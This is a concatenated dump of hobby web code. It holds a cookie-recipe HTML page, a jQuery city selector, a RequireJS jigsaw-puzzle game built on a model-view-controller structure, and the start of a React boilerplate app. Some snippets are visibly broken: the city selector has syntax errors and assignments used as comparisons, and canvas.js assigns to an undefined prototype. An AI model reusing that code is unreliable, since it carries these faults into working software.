<td>1 cup</td>
<td>Brown sugar</td>
</tr>
<tr>
<td>1 cup</td>
<td>Granulated sugar</td>
</tr>
<tr>
<td>1 Tbl</td>
<td>Vanilla instant pudding powder</td>
</tr>
<tr>
<td>2 Tbl</td>
<td>Milk</td>
</tr>
<tr>
<td>2 Tbl</td>
<td>Vanilla extract</td>
</tr>
<tr>
<td>2</td>
<td>Eggs</td>
</tr>
<tr>
<td>4 cups</td>
<td>All purpose flour</td>
</tr>
<tr>
<td>2 tsp</td>
<td>Baking soda</td>
</tr>
<tr>
<td>1/2 tsp</td>
<td>Salt</td>
</tr>
<tr>
<td>4 cups</td>
<td>Chocolate chips</td>
</tr>
<tr>
<td>1 cup</td>
<td>Chopped walnuts or pecans(optional)</td>
</tr>
</tbody>
</table>
<h2>How to make Mama’s Recipe:</h2>
<ol>
<li>Preheat oven to 350 degrees Beat butter and sugars together until light and fluffy. </li>
<li>Stir in pudding mix milk and vanilla extract. </li>
<li>Beat in eggs. </li>
<li>Add dry ingredients and stir until combined.</li>
<li>Stir in chocolate chips and nuts. </li>
<li>Place 1 1/2 inch balls of dough 2 inches apart on an un greased cookie sheet.</li>
<li>Bake 8-10 minutes or until golden brown.</li>
</ol>
<h2 class="auxHeader"> Nutrition Information</h2>
<p>Probably bad for you, but who cares. <b>MMMMMM COOKIES!!!!</b> nom nom nom</p>
<p>So, in case you didn't know, your grandma didn't actually make this recipe, it was altered from <a href="http://www.opensourcefood.com/people/Amanori/recipes/mamas-recipe-the-best-chocolate-chip-cookies" #top>Open Source Recipe</a></p>
<p>Sorry to break the news.</p>
</article>
</body>
<file_sep>$('.tlt').textillate({ in: { effect: 'rollIn' } });<file_sep>$(document).ready(function(){
$('#submit-btn').click(function(){
event.preventDefault();
var city = $('#city-type').val();
$('#city-type').val('');
city = city.toLowerCase().trim();
if(city == 'austin' || city == 'austin, tx'){
$('body').attr('class','austin');
}
else if(city == 'la' || city == "los angeles" || city == "lax" || | city = 'los angeles, ca'){
$('body').attr('class','la');
}
else if(city == 'new york' || city = 'nyc' || city = 'new york city' || | city = 'new york city, ny'){
$('body').attr('class','nyc');
}
else if(city == 'sf' || city = 'san fransico' || city = 'san fransico, ca'){
$('body').attr('class','sf');
}
else if(city == 'sydney' || city == 'sydney, au'){
$('body').attr('class','sydney');
}
});
});
|
e22a6f6cec5eeaa65236a25a1e7c4ce500c8f336
|
[
"JavaScript",
"HTML"
] | 4 |
JavaScript
|
Navix101/fewd21dev
|
5a21422e1e487f5be31837e07690e5f14b2d95b2
|
73b85c1ff4abb65025da1dd211ddf9986a4c95c5
|
refs/heads/master
|
<repo_name>mastermalone/game-modules<file_sep>/scripts/models/TrayModel.js
(function () {
define(["Subclass", "BaseModel"], function (Subclass, BaseModel) {
"use strict";
var subClass = new Subclass();
function TrayModel () {
//Empty Constructor
BaseModel.call(this);
}
subClass.extend(TrayModel, BaseModel);
//Add more methods to prototype if needed
return TrayModel;
});
}());
<file_sep>/scripts/views/GameBoardView.js
(function () {
define(['GameBoardModule'], function (GameBoardModule) {
'use strict';
var gbm = GameBoardModule;
console.log('VALUE OF GameBoardModule', GameBoardModule);
var GameBoardView = {
on: {
show: function (data, lvl) {
//Send data to modal module
gbm.render(data, lvl);
}
}
};
return GameBoardView;
});
}());<file_sep>/scripts/modules/CreateNode.js
define(function(){
function CreateNode () {
//Constuctor
}
CreateNode.prototype = {
constructor: CreateNode,
makeElement: function (type, attr, attrVal, txt, addSpan) {
var el = document.createElement(type),
span = document.createElement('SPAN'),
txt;
el.setAttribute(attr, attrVal);
if(addSpan === true){
txt = document.createTextNode(txt);
span.appendChild(txt);
el.appendChild(span);
}else{
if(typeof txt === 'string'){
txt = document.createTextNode(txt);
el.appendChild(txt);
}
};
return el;
}
};
return CreateNode;
});<file_sep>/scripts/ui-components/TrayModule.js
(function () {
define([], function () {
"use strict";
var TrayModule = {
render: function (data) {
console.log("RENDERING TRAY");
}
};
return TrayModule;
});
}());
<file_sep>/scripts/app.js
(function () {
define(['BaseModel','LevelSelectController', 'ModalController', 'TrayController', 'GameBoardController', 'Ajax', 'Emitter'], function (BaseModel, LevelSelectController, ModalController, TrayController, GameBoardController, Ajax, Emitter) {
'use strict';
var App = {
initControllers: function (url) {
if (!url || typeof url !== 'string') {
console.log('app.js: You did not provide a URL or, the type of argument you passed in is not a string.');
return;
}
var baseModel = new BaseModel(),
lvc = new LevelSelectController(),
mc = new ModalController(),
tc = new TrayController(),
gbc = new GameBoardController(),
ajax = new Ajax();
console.log('VALUE OF CONTROLLER', lvc);
//Add Data to model
(function () {
ajax.get(url).then(function (response) {
var data = JSON.parse(response); //This is only for the mock service
//Pass in the data from this call to the controllers.
//This is the intial call that gets data into the models and subsequently, to the views
gbc.init(baseModel.setData(data));//Set up the gameboard
lvc.init(baseModel.setData(data));//Set up the level select
tc.init(baseModel.setData(data)); //Set up the tray that contains the dragable objects
mc.init(baseModel.setData(data));// Set up modal overlay
}, function (error) {
console.log("App.js: The AJAX Request Failed", error, url);
});
}());
},
init: function (url) {
var date = new Date(),
lvc = new LevelSelectController(),
emitter = new Emitter(lvc);
//Kick off the App
this.initControllers(url+'?a='+date.getTime());
}
};
return App;
});
}());
<file_sep>/scripts/ui-components/LevelSelect.js
(function () {
define(["CreateNode"], function (CreateNode) {
"use strict";
function LevelSelect () {
//Empty Constructor
}
LevelSelect.prototype = {
constructor: LevelSelect,
setURL: function (url) {
return {
url: url
};
},
placeContent: function (el, content) {
if(!el || el === ""){
console.log("LevelSelect Module: You did not pass in the ID of the target element");
return;
}
this.el = el;
var targetElm = document.getElementById(this.el);
targetElm.appendChild(content);
//return targetElm;
},
animateLevels: function (Bool) {
this.animate = Bool;
if(!this.animate){
//console.log("You did not set this to true");
return;
}
console.log("Got passed the check for bool", this.animate);
},
render: function (data) {
//console.log("RENDER CONTENT");
//console.log("Rendiering the content", data);
//Create elements for the level select view based on the data object returned
var jsonData = data, i, levels = data, length = Object.keys(jsonData.puzzle).length/*Object.keys(data[Object.keys(data)]).length*/, holder = new CreateNode(), hld, selectBtn = new CreateNode(), sb, selector = new CreateNode(), slctr, frag = document.createDocumentFragment();
console.log("VALUE OF FIRST CHILD", /*Object.keys(data[Object.keys(data)]).length,*/ jsonData.puzzle["level"+"2"].image, /*Object.keys(data[Object.keys(data)]),*/ Object.keys(jsonData.puzzle).length, jsonData.modal);
hld = holder.makeElement("DIV", "id", "level-select");
slctr = selector.makeElement("SPAN", "id", "selector", "1", true);
for(i = 0; i < length; i++){
//console.log("length of the object", levels["level"+(i+1)].image);
//console.log("length of the object", levels["level"+(i+1)].completed);
sb = selectBtn.makeElement("DIV", "id", "select-btn"+(i+1), (i+1+""));
frag.appendChild(sb);
}
frag.appendChild(slctr);
hld.appendChild(frag);
this.placeContent("main", hld);
//return hld;
}
};
return LevelSelect;
});
}());
<file_sep>/scripts/views/TrayView.js
(function () {
define(['TrayModule'], function (TrayModule) {
'use strict';
var tm = TrayModule;
console.log('VALUE OF TrayModule', TrayModule);
var TrayView = {
on: {
show: function (data, lvl) {
//Send data to modal module
tm.render(data, lvl);
}
},
setLevel: function (data, level) {
tm.update(data, level);
console.log('Calling tray MODULE');
}
};
return TrayView;
});
}());
<file_sep>/scripts/main-config.js
require.config({
urlArgs: 'bust=' + (new Date()).getTime(),//Remove before deployment
baseUrl: 'scripts/',
paths: {
'Ajax': 'modules/Ajax',
'BaseController': 'controllers/BaseController',
'BaseModel': 'models/BaseModel',
'BaseView': 'views/BaseView',
'CreateNode': 'modules/CreateNode',
'CssTransitions': 'modules/CssTransitionEvents',
'Dispatch': 'modules/Dispatch',
'domReady': 'lib/domReady',
'Events': 'modules/Events',
'jquery': 'lib/jquery.min',
'LevelSelect': 'modules/LevelSelect',
'LevelSelectView': 'views/LevelSelectView',
'LevelSelectController': 'controllers/LevelSelectController',
'LevelSelectModel': 'models/LevelSelectModel',
'ModalController': 'controllers/ModalController',
'ModalModel': 'models/ModalModel',
'ModalView': 'views/ModalView',
'ModalViewModule': 'modules/ModalViewModule',
'Subclass': 'modules/Subclass',
'TrayController': 'controllers/TrayController',
'TrayModel': 'models/TrayModel',
'TrayModule': 'ui-components/TrayModule',
'TrayView': 'views/TrayView',
'Tween': 'lib/tweenjs/tweenjs-0.6.0.min'
},
//waitSeconds: 15
});
require(['app'], function (App) {
App.init();
});<file_sep>/scripts/views/LevelSelectView.js
(function () {
define(['LevelSelect'], function (LevelSelect) {
'use strict';
var LevelSelectView = {}, levelSelect = new LevelSelect();
LevelSelectView = {
on: {
show: function (data) {
if(!data){
throw new Error('LevelSelectView: You did not pass in any Data');
return;
}
//This gets data passed in from the model. The module, calls this methods to render the content in the view
levelSelect.render(data);
}
}
};
return LevelSelectView;
});
}());
<file_sep>/scripts/modules/canvas.js
(function () {
define(function () {
function CanvasObject () {
//Empty
}
Canvas.prototype = {
constructor: Canvas,
init: function (context, id, parent) {
var cnv = document.createElement('canvas'),
ctx = cnv.getContext('2d');
parent = document.getElementById(parent);
parent.appendChild(cnv);
}
};
return CanvasObject;
});
})();
<file_sep>/scripts/models/ModalModel.js
(function () {
define(["BaseModel", "Subclass"], function (BaseModel, SubClass) {
"use strict";
var subclass = new SubClass();
function ModalModel () {
//Empty Constructor
BaseModel.call(this);
}
subclass.extend(ModalModel, BaseModel);
return ModalModel;
});
}());
<file_sep>/scripts/controllers/TrayController.js
(function () {
define(['Subclass', 'BaseController', 'TrayModel', 'TrayView', 'Dispatch', 'Events', 'jquery-ui'], function (Subclass, BaseController, TrayModel, TrayView, Dispatch, Events) {
'use strict';
var subclass = new Subclass();
var TrayData = {};
function TrayController () {
this.evts = '';
this.dsp = '';
this.level = 1;
this.view = '';
this.model = '';
this.apiData = '';
BaseController.call(this);
}
subclass.extend(TrayController, BaseController);
TrayController.prototype.init = function (data) {
this.evts = new Events();
this.view = TrayView;
TrayData.json = data;
console.log("TRAYS DATA", this.data);
//This controller listens the level changes and controls the puzzle pieces
this.view.on.show(data);//Do the level select on.show() with an evt.addListener(); displatch event from here with level select dispatch event
this.view.setLevel(data, this.level);
this.evts.addEvent('tray', ['mousedown'], this.fireEvents);
this.evts.addEvent(window, ['setLevel'], this.setLevel);
this.evts.addEvent(window, ['levelChangeConfirmation'], this.confirmedLevelChange);
this.evts = null;
this.view = null;
};
TrayController.prototype.getData = function (data) {
return data;
},
TrayController.prototype.fireEvents = function (e) {
var targ = window.addEventListener ? e.target : e.srcElement;
switch (targ.getAttribute('data')) {
case 'lv-sel':
this.dsp = new Dispatch();
this.dsp.customEvent('level-selector', 'levelSelect');
this.dsp = null;
break;
case 'jigsaw-piece':
this.addContentToStage(targ, e);
break;
}
}.bind(TrayController.prototype);
TrayController.prototype.setLevel = function (e) {
//This gets set all the time, but will only be used when a level change is confirmed.
this.level = e.target.id.substring(10, parseInt(e.target.id.length));
}.bind(TrayController.prototype);
TrayController.prototype.confirmedLevelChange = function (e) {
//This is called only when an event to change the level number occurs
var lInd = document.getElementById('level-indicator');
lInd.innerHTML = this.level;
this.level >= 10 ? lInd.className = 'tens' : lInd.className = '';
this.model = new TrayModel();
this.model.userStats.level = e.data.level;
this.view = TrayView;
this.destroy('.scroller-content', true);
$('.jigsaw-piece').remove();
this.dsp = new Dispatch();
this.dsp.customEvent('tray', 'levelchange');
this.dsp = null;
this.model = null;
}.bind(TrayController.prototype);
TrayController.prototype.addContentToStage = function (piece, e) {
//Takes the piece from the tray
if (!piece) {
return;
}else {
$('#tray').parent().append(piece);
var offset = $('#main').offset();
$(piece).css({left:(e.pageX - offset.left) - ($(piece).width()/2), top:(e.pageY - offset.top) - ($(piece).height()/2)});
}
};
return TrayController;
});
}());
<file_sep>/scripts/modules/Emitter.js
(function () {
define(['EventEmitter2'], function (EventEmitter2) {
'use strict';
console.log('EVENT EMITTER:', EventEmitter2);
function Emitter (obj) {
//Empty
this.self = this;
this.obj = obj;
EventEmitter2.call(this, obj);
console.log("EVENT EMITTER2", EventEmitter2, this.obj);
}
Emitter.prototype = Object.create(EventEmitter2.prototype);
//Emitter.prototype.constructor = this;
console.log('EMITTER PROTOTYPE:', Emitter.prototype);
/*Emitter.prototype = {
constructor: Emitter,
dispatch: function (type, data) {
var evt, elm, eventList, targetObject;
//Example dispatch event
//have some object listen for the event
//have some object dispatch the event afterward
if (typeof this.obj.prototype === 'undefined') {
console.log("No prototype");
targetObject = this.obj;
}else {
console.log('Has Prototype', this.obj);
targetObject = this.obj.prototype;
}
targetObject.dispatch = function () {
if (document.createEvent) {
evt = document.createEvent('Event');
evt.initEvent(type, true, true);
}else {
evt = document.createEventObject();
evt.type = type;
}
if (data && typeof data !== 'undefined') {
evt.data = data;//Attach a data object to the property
}else {
data = null;
}
if(!targetObject.dispatchEvent) {
targetObject.dispatchEvent = new Object();
if (typeof targetObject.dispatchEvent !== 'function') {
targetObject.dispatchEvent = function(e){
var F = function(){
//Empty consturctor
};
return new F();
};
}
}
targetObject.dispatchEvent(evt);
console.log('Getting into Dispatch', typeof targetObject, evt.type, 'dispatcher name:', require('events').EventEmitter);
};
targetObject.dispatch();
console.log('ARGS LENGTH', this.self);
},
addEventListener: function (type, callback, bubbling) {
for (var i = 0; i < this.obj.events[type]; i++) {
this.events.push(type);
if (this.obj.events.hasOwnProperty(type)) {
this.obj.events[type].push(callback);
}else {
this.obj.events[type] = [callback];
}
}
console.log('Adding event listener:', type, 'Object:', this.obj, 'Callback:', this.obj.events[type]);
},
removeEvent: function (type, callback) {
console.log('Removing event listener');
}
};*/
return Emitter;
});
}());<file_sep>/scripts/views/BaseView.js
(function () {
define(function () {
'use strict';
var BaseView = {};
BaseView = {
on: {
show: function (obj) {
console.log('Show the view content via LevelSelect.render(pass in data)', obj);
//The object should be a module
}
}
};
return BaseView;
});
}());
<file_sep>/scripts/modules/Ajax.js
(function () {
define(function () {
'use srict';
function Ajax () {
//Empty
}
Ajax.prototype = {
constructor: Ajax,
get: function (url, debugging) {
if(debugging === true){
if(!url || typeof url !== 'string'){
console.log('Ajax Module: You did not indicate a url to call of this request');
}
if(typeof callback !== 'function'){
console.log('Ajax Module: The type of callback you specified is not of type, function');
return;
}
}
try {
//Ajax using Promise
return new Promise(function (resolve, reject) {
var req = window.XMLHttpRequest ? new XMLHttpRequest() : new ActiveXObject('Microsoft.XMLHTTP');
//Onload is the new way vs onreadystatechange.
req.onload = function () {
if (req.readyState === 4 && req.status === 200) {
resolve(req.response);
}else {
reject(Error(req.statusText));
}
};
req.onerror = function () {
reject(Error(req.statusText));
};
req.open('GET', url, true);
req.send();
});
}catch (err) {
if (debugging === true) {
console.log('From AJAX Module: This browser does not support AJAX');
}
}
}
};
return Ajax;
});
}());
<file_sep>/scripts/models/LevelSelectModel.js
(function () {
define(["Subclass", "BaseModel", "LevelSelectView", "jquery", "Ajax"], function (Subclass, BaseModel, LevelSelectView, $, Ajax) {
"use strict";
var subClass = new Subclass(), lsv = LevelSelectView, ajax = new Ajax();
function LevelSelectModel () {
//Empty Constructor
this.data = "";
BaseModel.call(this);
}
subClass.extend(LevelSelectModel, BaseModel);
//Add more methods to prototype if needed
return LevelSelectModel;
});
}());<file_sep>/scripts/controllers/LevelSelectController.js
(function () {
define(['Subclass', 'BaseController', 'LevelSelectModel', 'LevelSelectView', 'Events', 'Dispatch', 'EventList'], function (Subclass, BaseController, LevelSelectModel, LevelSelectView, Events, Dispatch, EventList) {
'use strict';
var subClass = new Subclass();
function LevelSelectController () {
this.retracted = true;
this.evts = '';
this.lsm = '';
this.lsv = '';
this.dsp;
this.position = {};
this.targetPosition = {};
BaseController.call(this);
}
//Extend the BaseController with LevelSelectController
subClass.extend(LevelSelectController, BaseController);
LevelSelectController.prototype.init = function (data) {
//Listenes for 'levelSelect' event to call the create the level select
this.evts = new Events();
this.evts.addEvent(window, ['levelSelect'], function (e) {
this.showLevelSelect(data);
}.bind(LevelSelectController.prototype));
EventList.publish('levelSelectLoaded', {loaded:true});
this.evts = null;
};
LevelSelectController.prototype.showLevelSelect = function (data) {
//Receives data from the initial app.init() call in app.js
var ls;
this.retracted = false;
this.lsv = LevelSelectView;
this.lsv.on.show(data);
this.lsm = new LevelSelectModel();
this.lsm.getState('level Select Open');
this.lsm.userStats.user = 'Mike';
console.log('WHATS MY DATA?:', this.lsm.userStats);
ls = document.getElementById('level-select');
ls.style.left = ls.parentNode.offsetWidth+'px';
this.position = {left: ls.parentNode.offsetWidth, top: 0};
this.targetPosition = {left: 0, top: 0};
this.animate(ls, this.position, this.targetPosition, createjs.Ease.cubicOut, 1500);//Defined in BaseController
this.addInteraction();
ls = null;
};
LevelSelectController.prototype.addInteraction = function () {
this.evts = new Events();
this.evts.addEvent('level-select', ['mousedown'], this.fireEvents);
this.evts.addEvent(window, ['retract'], this.retract);
};
LevelSelectController.prototype.fireEvents = function (e) {
//Delegate events
var targ = window.addEventListener ? e.target : e.srcElement,
isSelectBtn = (targ.id.indexOf('select-btn') !== -1);
console.log('Target: ', typeof targ.id, (targ.id.indexOf('select-btn') !== -1));
switch (targ.id) {
case 'selector':
this.retract();
break;
}
//Dispatch event to open the Level Select Modal
switch (isSelectBtn) {
case true:
this.dsp = new Dispatch();
this.dsp.customEvent(targ.id, 'displayModal');
this.dsp.customEvent(targ.id, 'setLevel');
this.dsp = null;
break;
}
}.bind(LevelSelectController.prototype);
LevelSelectController.prototype.retract = function (e) {
var ls = document.getElementById('level-select');
this.position = {left: 0, top: 0};
this.targetPosition = {left: ls.parentNode.offsetWidth, top: 0};
this.animate(ls, this.position, this.targetPosition, createjs.Ease.cubicIn, 1000);
this.retracted = true;
ls = null;
}.bind(LevelSelectController.prototype);
LevelSelectController.prototype.handleComplete = function () {
var ls = document.getElementById('level-select');
if (this.retracted) {
this.lsm.getState('playing');
this.evts.removeEvent('level-select', ['mousedown'], this.fireEvents);
this.evts.removeEvent(window, ['retract'], this.retract);
this.evts = null;
this.lsm = null;
this.lsv = null;
this.dsp = null;
this.position = null;
this.targetPosition = null;
ls.parentNode.removeChild(ls);
}
ls = null;
}.bind(LevelSelectController.prototype);
return LevelSelectController;
});
}());<file_sep>/scripts/modules/EventList.js
(function () {
define(function () {
EventList = {
topics: {},//Place where all event listener topics will be stored
subscribe: function (topic, listener) {
//Create the topic if it has not yet been created
if (!this.topics[topic]) {
this.topics[topic] = [];
}
//Add the listener by pushing it into the array that you just created above
this.topics[topic].push(listener);
console.log('LISTENING FOR TOPIC', this.topics[topic]);
},
publish: function (topic, data) {
//Do nothing if there are no topics or if the topics array is empty
if (!this.topics[topic] || this.topics[topic].length < 1) {
return;
}
console.log('ATTEMPTING TO PUBLISH', this.topics[topic]);
//Itterate through the list of topics in the topics object and fire off the functions that are assigned as the event handler.
//Pass the data to the callback functions as well
this.topics[topic].forEach(function (listener) {
if (typeof listener === 'function') {
listener(data || {});
}
});
},
remove: function (topic) {
console.log('BEFORE REMOVAL', this.topics[topic]);
delete this.topics[topic];
console.log('REMOVED THE EVENT', this.topics[topic]);
}
};
return EventList;
});
}());
<file_sep>/scripts/modules/Jigsaw.js
(function () {
define(['Events', 'jquery-ui'], function (Events) {
'use strict';
function Jigsaw (data, parent, level) {
this.data = data;
this.parent = parent;
this.level = level || 1;
this.imageMap = {};
}
Jigsaw.prototype = {
constructor: Jigsaw,
init: function () {
console.log('MAKING JIGSAW', this.data);
//Set up the defualts
var evt = new Events();
evt.addEvent(window, ['setLevel'], this.getLevel.bind(this));
evt.addEvent(window, ['imageloaded'], this.createPieces.bind(this));
},
createPieces: function (e) {
//Do the slicing
//Use the curvePoints Object that gets passed in.
var numPieces = this.data.puzzle['level'+this.level].pieces,
rows = Math.floor(Math.sqrt(numPieces)),//Horizontal
columns = Math.ceil(((numPieces)/Math.floor(Math.sqrt(numPieces)))),//Vertical Runded up to prevent uneven grids
frag = document.createDocumentFragment(),
width,
height,
widthStr,
parentWidth,
imgXValue = 0,
imgYValue = 0,
piece,
ctx,
img,
evt;
if (!this.data.image) {
return;
console.log('No data for the image has been received!', this.data.image);
}else {
img = new Image();
img.src = this.data.image;
console.log('Number of pieces', numPieces, 'Image', this.data.image, 'data', this.data);
if (!document.querySelector(this.parent)) {
console.log('The Parent is null', document.querySelector(this.parent));
return;
}else {
widthStr = window.getComputedStyle(document.querySelector(this.parent)).width;
}
img.onload = function () {
//for (var i = 0; i < numPieces; i++) {
for (var i = 0; i < rows*columns; i++) {
piece = document.createElement('canvas');
piece.className = 'jigsaw-piece';
piece.id = 'jigsaw-'+i;
piece.setAttribute('data', 'jigsaw-piece');
piece.width = (Math.ceil(e.data.width)/columns);
piece.height = (Math.ceil(e.data.height)/rows);
piece.style.border = 'solid 1px #ff0000';
ctx = piece.getContext('2d');
ctx.save();
ctx.bezierCurveTo(20,100,200,100,200,20);// Create besier curve based on random and only from the right until the last image from the ight is made
//Create image map grid
this.createImageMap(i, imgXValue, imgYValue);
//X coordinate for tray placement
//piece.style.left = 10+'px';
//widthStr = window.getComputedStyle(document.querySelector(this.parent)).width;
parentWidth = parseFloat(widthStr.substring(0, widthStr.length-2));
//Subtract the imgXvalue to move the background position along according to the next piece that needs to be painted with a section of the image
ctx.drawImage(img, (-imgXValue), (-imgYValue), e.data.width, e.data.height);
imgXValue += (piece.width);
//If the width of one row of puzzle peices is greater than or equal to the total witdh of the image minus one puzzle piece, increase the Y value by one puzzle piece height
if ((imgXValue - (piece.width-piece.width)) >= (e.data.width -10)) {
imgYValue += piece.height;
console.log('Greater than or equal to width:', 'X Position:',(imgXValue - piece.width), 'Total Width:', e.data.width, 'Y Position', imgYValue);
imgXValue = 0;
}
//console.log('Value of width:', piece.width, 'Height:', piece.height, "Rows", rows, 'Columns', columns, 'X Position value:', imgXValue);
frag.appendChild(piece);
}
this.appendTo(this.parent, frag);
$('.jigsaw-piece').draggable({
containment:'.main-wrap',
stack: 'canvas',//Forcess Z-index to top for current clicked canvas
distance: 0,
cursor: 'move',
snap: '#content',
//revert: 'invalid'//flies back to original position
});
}.bind(this);
}
},
createImageMap: function (itterator, xValue, yValue) {
//Use this to create the map that will be used for the guide and the preview for the puzzle.
//This creates a grid
this.imageMap['image'+itterator+'X'] = xValue;
this.imageMap['image'+itterator+'Y'] = yValue;
},
getLevel: function (e) {
this.level = e.target.id.substring(10, parseInt(e.target.id.length));
console.log("GETTING THE LEVEL TARGET NUMBER:", this.level);
},
appendTo: function (el, child) {
//var parent = typeof el === 'string' ? document.getElementById(el) : el;
var parent = typeof el === 'string' ? document.querySelector(el) : el;
parent.appendChild(child);
}
};
return Jigsaw;
});
}());
<file_sep>/scripts/models/BaseModel.js
(function () {
define(["Ajax"], function (Ajax) {
function BaseModel () {
this.userStats = {
user:'',
timeToComplete: '',
difficultyComplete: '',
level: ''
};
}
BaseModel.prototype = {
constructor: BaseModel,
setData: function (data) {
console.log("Returning data from base", this);
return data;
},
getState: function (state) {
console.log('State:', state);
return state;
}
};
return BaseModel;
});
}());
|
780dfad5ddc26c57e32d06033f066fb52249b4c0
|
[
"JavaScript"
] | 20 |
JavaScript
|
mastermalone/game-modules
|
707f801d1023c9fbca64d2ae5334bec6567d4262
|
7a4ac88021a6d16ba8a25d360e9dea874201745d
|
refs/heads/master
|
<file_sep>import React from 'react';
import PropTypes from 'prop-types';
import {Link} from 'react-router-dom'
import AppBar from '@material-ui/core/AppBar';
import Toolbar from '@material-ui/core/Toolbar';
import IconButton from '@material-ui/core/IconButton';
import Tooltip from '@material-ui/core/Tooltip';
import MenuItem from '@material-ui/core/MenuItem';
import Menu from '@material-ui/core/Menu';
import { withStyles } from '@material-ui/core/styles';
import {FaGithub,FaBook,FaBars,FaUserTie} from 'react-icons/fa'
import {headerCss} from '../helpers/componentStyle'
class Header extends React.Component {
state = {
mobileMoreAnchorEl: null,
};
handleMenuClose = () => {
this.setState({ anchorEl: null });
this.handleMobileMenuClose();
};
handleMobileMenuOpen = event => {
this.setState({ mobileMoreAnchorEl: event.currentTarget });
};
handleMobileMenuClose = (url)=> {
if(url){
window.open(url,'_blank')
}
this.setState({ mobileMoreAnchorEl: null });
};
render() {
const { mobileMoreAnchorEl } = this.state;
const { classes } = this.props;
const isMobileMenuOpen = Boolean(mobileMoreAnchorEl);
const renderMobileMenu = (
<Menu
anchorEl={mobileMoreAnchorEl}
anchorOrigin={{ vertical: 'top', horizontal: 'right' }}
transformOrigin={{ vertical: 'top', horizontal: 'right' }}
open={isMobileMenuOpen}
onClose={this.handleMenuClose}
>
<MenuItem onClick={e=>this.handleMobileMenuClose('https://reactjs.org/docs/getting-started.html')}>
<IconButton color="inherit">
<FaBook />
</IconButton>
<p>React Docs</p>
</MenuItem>
<MenuItem onClick={e=>this.handleMobileMenuClose('https://github.com/ErSachinVashist/React-boiler')}>
<IconButton color="inherit">
<FaGithub />
</IconButton>
<p>Git Repo</p>
</MenuItem>
<Link className={classes.linkStyle} to='/profile'>
<MenuItem onClick={()=>this.handleMobileMenuClose()}>
<IconButton color="inherit">
<FaUserTie />
</IconButton>
<p>Profile</p>
</MenuItem>
</Link>
</Menu>
);
return (
<div className={classes.root}>
<AppBar position="static">
<Toolbar>
<Tooltip title="Visit Us" placement="bottom">
<a rel="noopener noreferrer" target='_blank'>
<img width='100px' src='https://y5y9y3x6.stackpathcdn.com/wp-content/uploads/2018/05/server-guy-logo.svg'/>
</a>
</Tooltip>
{/*<div className={classes.grow} />*/}
{/*<div className={classes.sectionDesktop}>*/}
{/* <Tooltip title="React Docs" placement="bottom">*/}
{/* <IconButton color="inherit"*/}
{/* onClick={()=>window.open('https://reactjs.org/docs/getting-started.html','_blank')}*/}
{/* >*/}
{/* <FaBook />*/}
{/* </IconButton>*/}
{/* </Tooltip>*/}
{/* <Tooltip title="Git Repo" placement="bottom">*/}
{/* <IconButton color="inherit"*/}
{/* onClick={()=>window.open('https://github.com/ErSachinVashist/React-boiler','_blank')}*/}
{/* >*/}
{/* <FaGithub />*/}
{/* </IconButton>*/}
{/* </Tooltip>*/}
{/* <Tooltip title="Profile" placement="bottom">*/}
{/* <Link className={classes.linkStyle} to='/profile'>*/}
{/* <IconButton color="inherit">*/}
{/* <FaUserTie />*/}
{/* </IconButton>*/}
{/* </Link>*/}
{/* </Tooltip>*/}
{/*</div>*/}
{/*<div className={classes.sectionMobile}>*/}
{/* <IconButton aria-haspopup="true" onClick={this.handleMobileMenuOpen} color="inherit">*/}
{/* <FaBars />*/}
{/* </IconButton>*/}
{/*</div>*/}
</Toolbar>
</AppBar>
{/*{renderMobileMenu}*/}
</div>
);
}
}
Header.propTypes = {
classes: PropTypes.object.isRequired,
};
export default withStyles(headerCss)(Header);
<file_sep>import React, { Component } from 'react';
import {BrowserRouter,Switch} from 'react-router-dom';
import { MuiThemeProvider } from '@material-ui/core/styles';
import theme from '../helpers/theme'
import routes from './routes'
import Header from './header'
import './app.css'
import Footer from './footer'
class App extends Component {
render() {
return (
<div>
<BrowserRouter basename={process.env.PUBLIC_URL}>
<MuiThemeProvider theme={theme}>
<Header/>
<div className='main-wrapper'>
<Switch>
{routes}
</Switch>
</div>
</MuiThemeProvider>
</BrowserRouter>
</div>
);
}
}
export default App;
<file_sep>import React from 'react';
import PropTypes from 'prop-types';
import {compose} from "recompose";
import {connect} from "react-redux";
import { withStyles } from '@material-ui/core/styles';
import Card from '@material-ui/core/Card';
import CardMedia from '@material-ui/core/CardMedia';
import CardHeader from '@material-ui/core/CardHeader';
import {profileCss} from '../../helpers/componentStyle';
import {ChangeAuthor} from "../../actions/authorAction";
class Profile extends React.Component {
componentWillMount() {
this.props.ChangeAuthor({name:'<NAME>'})
}
render() {
const { classes ,author} = this.props;
return (
<Card className={classes.card}>
<CardMedia
className={classes.media}
image={require('../../assests/images/profile.jpg')}
title={author.name}
/>
<CardHeader
className={classes.cardHead}
title='Sachin Vashist'
subheader='Full Stack Developer'
/>
</Card>
);
}
}
Profile.propTypes = {
classes: PropTypes.object.isRequired,
};
export default compose(
withStyles(profileCss),
connect(store=>({
author:store.AuthorReducer
}),{ChangeAuthor})
)(Profile);
<file_sep>import React from 'react'
import {Route} from 'react-router-dom'
import Home from './home'
import Profile from './profile'
import NotFound from '../helpers/notFound'
const routes=[
<Route key='home' exact path='/' component={Home}/>,
<Route key='profile' path='/profile' component={Profile}/>,
<Route key='notFound' component={NotFound}/>
]
export default routes
<file_sep>import {AuthorReducer} from './authorReducer'
import {combineReducers} from 'redux-starter-kit'
const rootReducer=combineReducers({
AuthorReducer
})
const appReducer=(state,action)=>{
return rootReducer(state,action)
}
export default appReducer
<file_sep>import React, {Component} from 'react';
import VideoPlayer from 'react-video-js-player';
import {withStyles} from "@material-ui/core";
import {homeCss} from "../../helpers/componentStyle";
class VideoApp extends Component {
player = {};
state={
source:''
}
onPlayerReady(player) {
this.player = player;
}
onVideoPlay(duration) {
console.log("Video played at: ", duration);
}
onVideoPause(duration) {
console.log("Video paused at: ", duration);
}
onVideoTimeUpdate(duration) {
console.log("Time updated: ", duration);
}
onVideoSeeking(duration) {
console.log("Video seeking: ", duration);
}
onResolutionchange(resolution) {
console.log("Resolution changed", resolution);
}
onVideoSeeked(from, to) {
console.log(`Video seeked from ${from} to ${to}`);
}
onVideoEnd() {
console.log("Video ended");
}
shouldComponentUpdate(nextProps, nextState, nextContext) {
if(nextProps.video.src!==this.state.source){
this.setState({source:nextProps.video.src})
}
return true;
}
render() {
const {video}=this.props
console.log("gsss",this.state.source)
return (
<VideoPlayer
controls={true}
src={video.src}
poster={this.state.source}
width="720"
height="420"
// onReady={this.onPlayerReady.bind(this)}
// onPlay={this.onVideoPlay.bind(this)}
// onPause={this.onVideoPause.bind(this)}
// onTimeUpdate={this.onVideoTimeUpdate.bind(this)}
// onSeeking={this.onVideoSeeking.bind(this)}
